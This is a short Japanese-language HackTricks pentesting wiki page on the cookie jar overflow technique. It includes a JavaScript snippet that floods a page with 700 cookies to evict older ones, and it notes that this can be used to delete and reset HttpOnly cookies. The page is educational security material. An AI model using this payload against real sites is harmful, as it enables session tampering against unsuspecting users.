Cookie Jar Overflow

Support HackTricks

ブラウザには、ページごとに保存できるクッキーの数の制限があります。したがって、何らかの理由でクッキーを消す必要がある場合は、クッキージャーをオーバーフローさせることができます。そうすれば、最も古いクッキーが削除されます。

// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`;
}

// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}

注意:異なるドメインを指すサードパーティのクッキーは上書きされません。

この攻撃は、HttpOnlyクッキーを上書きするためにも使用できます。削除してから、希望の値でリセットできます

このラボの投稿で確認してください

HackTricksをサポートする

Last updated